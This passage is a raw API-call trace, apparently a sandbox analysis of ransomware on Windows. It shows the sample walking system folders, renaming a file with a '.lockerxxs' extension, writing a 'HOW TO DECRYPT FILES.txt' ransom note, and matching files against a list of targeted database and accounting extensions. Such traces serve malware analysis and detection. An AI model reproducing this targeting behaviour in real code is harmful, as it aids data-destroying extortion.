lpFileName="C:\\Windows\\inf\\ESENT\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9a0bf0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9a0bf0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0129.162] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ESENT\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21d18ff1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0129.171] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\IEM\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.172] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\IEM\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0129.225] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0129.225] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe59c772, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9c6d4a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9c6d4a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.228] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2302ec71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.233] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0129.237] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b49365, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b49365, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.242] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225e5094, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.247] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe6231a60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe6231a60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0129.265] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0001\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.269] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.273] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0006\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.276] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0007\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.280] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0008\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.283] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.286] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000A\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.290] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000B\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.293] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000C\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.298] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.301] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\000E\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.314] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0010\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.317] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0011\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.321] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0012\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.323] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0013\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.327] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0014\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.330] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0015\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.334] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0019\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.338] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\001D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.344] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\001F\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.346] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0404\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.350] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0416\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.352] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0804\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f11d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.354] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\0816\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6231a60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b266180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b266180, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.433] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\PERFLIB\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0129.434] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\PERFLIB\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5c28cc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9ecea4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9ecea4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0129.452] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfc.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfc.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0000\\perfc.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfc.dat.lockerxxs")) returned 1 [0129.455] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\PERFLIB\\0000\\" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\") returned="C:\\Windows\\inf\\PERFLIB\\0000\\" [0129.455] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\" | out: pszPath="C:\\Windows\\inf\\PERFLIB\\0000\\") returned="" [0129.455] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt" [0129.455] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0000\\how to decrypt files.txt")) returned 0x20 [0129.455] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\", lpString2="perfd.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat") returned="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" [0129.455] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.ems") returned 0 [0129.455] lstrlenA (lpString="*.ems") returned 5 [0129.455] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.db") returned 0 [0129.455] lstrlenA (lpString="*.db") returned 4 [0129.455] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.dbf") returned 0 [0129.455] lstrlenA (lpString="*.dbf") returned 5 [0129.455] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.myox") returned 0 [0129.455] lstrlenA (lpString="*.myox") returned 6 [0129.455] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.myo") returned 0 [0129.455] lstrlenA (lpString="*.myo") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qbw") returned 0 [0129.456] lstrlenA (lpString="*.qbw") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qbb") returned 0 [0129.456] lstrlenA (lpString="*.qbb") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qbm") returned 0 [0129.456] lstrlenA (lpString="*.qbm") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qbo") returned 0 [0129.456] lstrlenA (lpString="*.qbo") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qbx") returned 0 [0129.456] lstrlenA (lpString="*.qbx") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qba") returned 0 [0129.456] lstrlenA (lpString="*.qba") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qby") returned 0 [0129.456] lstrlenA (lpString="*.qby") returned 5 [0129.456] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qbj") returned 0 [0129.456] lstrlenA (lpString="*.qbj") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.ofx") returned 0 [0129.457] lstrlenA (lpString="*.ofx") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", pszSpec="*.qif") returned 0 [0129.457] lstrlenA (lpString="*.qif") returned 5 [0129.457] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0000\\perfd.dat", 